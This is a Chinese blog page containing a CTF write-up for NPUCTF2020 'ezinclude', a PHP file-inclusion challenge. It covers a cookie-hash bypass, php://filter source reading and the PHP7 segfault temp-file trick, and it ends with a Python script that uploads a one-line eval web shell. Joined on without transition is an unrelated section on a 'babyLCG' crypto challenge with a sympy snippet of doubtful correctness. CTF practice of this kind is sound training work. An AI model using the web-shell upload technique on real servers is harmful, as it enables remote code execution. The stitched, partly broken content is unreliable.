[NPUCTF2020]ezinclude 1

博客介绍了PHP解题思路,包括从标题获取考察点、查看源代码注释,通过bp抓包查看数据传输内容,构造payload,利用php://filter读取代码。还提及利用php7 segment fault特性,在特定PHP版本下,使用伪协议过滤器上传文件,可获取文件名并进行文件包含。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

解题思路:

从题标题中获取 include考察点

  • 善于常看源代码,注释 $name pass等

  • 通过bp抓包查看数据传输内容,发现cookie hash值 ,构造?name=1 /2抓放包发现hash值的变化

  • 构造payload 满足md5===pass 将cookie中hash传入?name=1&pass=cookie值 抓包发现 flflflag.php文件

  • 得到$_get[‘file’] include 使用php://filter 对代码读取

  • 找关键代码 若没发现 dirsearch.py 目录扫描 dir.php

  • scandir(‘/temp’)

  • 此时php版本在这里插入图片描述

  • 利用 php7 segment fault 特性

  • 大致意思是:使用伪协议php://filter中的string.strip_stags 过滤器 并上传文件 php的垃圾回收机制就不会继续执行 使post传递的文件存储在/temp/文件下
    10.利用条件

  • php7.0.0-7.1.2可以利用

  • php7.1.3-7.2.1可以利用

  • php7.2.2-7.2.8可以利用

  • 可以获取文件名

  • 源代码get参数进行文件包含

import requests
from io import BytesIO

payload = '<?php @eval($_POST[cmd]);?>'
data = {'file':BytesIO(payload.encode())}
url = "http://76c105e9-2474-4265-acf2-d7f6ab6ee6c8.node4.buuoj.cn:81//flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
re = requests.post(url=url,files=data,allow_redirects=False);
### 关于NPUCTF2020 babyLCG题目解析 #### 题目背景与目标 在NPUCTF2020竞赛中的babyLCG挑战属于密码学类别,主要考察参赛者对于线性同余生成器(LCG)的理解及其潜在的安全弱点。该类问题通常围绕如何预测下一个伪随机数值展开。 #### LCG工作原理概述 线性同余生成器通过下面的公式迭代生成一系列伪随机数序列[^1]: \[X_{n+1}=(a \times X_n + c)\mod m\] 这里\(X_0\)代表种子值;而参数\(a,c,m\)分别是乘子、增量以及模数,在不同应用场景下会有所不同。 #### 安全隐患分析 当LCG被用于安全敏感场景时存在明显缺陷:如果攻击者能够获取足够多连续产生的输出,则可以反推出内部状态甚至原始种子。这是因为一旦知道了几个相邻项之间的关系,就有可能求得未知系数并重建整个生成过程。 #### 解决方案探讨 针对此类基于LCG设计的比赛题目,常见的破解手段包括但不限于: - **暴力枚举法**:尝试所有可能的初始条件直到找到符合条件的结果为止; - **数学推导法**:利用已知样本点建立方程组进而精确算出各参数的具体取值; - **组合运用技巧**:结合其他算法如扩展欧几里得定理来加速寻找逆元的过程,从而简化计算量较大的环节[^4]。 具体到这道题目的实现细节方面,假设已经得到了若干个由LCG所产生的明文-密文对,那么就可以设置如下形式的一系列等式: ```python from sympy import symbols, Eq, solve def find_lcg_params(known_values): # 已知多个连续LCG输出值列表 known_values=[v1,v2,...] x,a,b,m=symbols('x a b m') eqs=[] for i in range(len(known_values)-1): vi=known_values[i];vi_plus_one=known_values[i+1] eq=Eq((a*vi+b)%m,vi_plus_one) eqs.append(eq) sol=solve(eqs,(a,b,m)) return sol ``` 上述代码片段展示了怎样根据给定的数据集构建联立方程式,并调用SymPy库自动求解得到满足约束的最佳参数配置。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值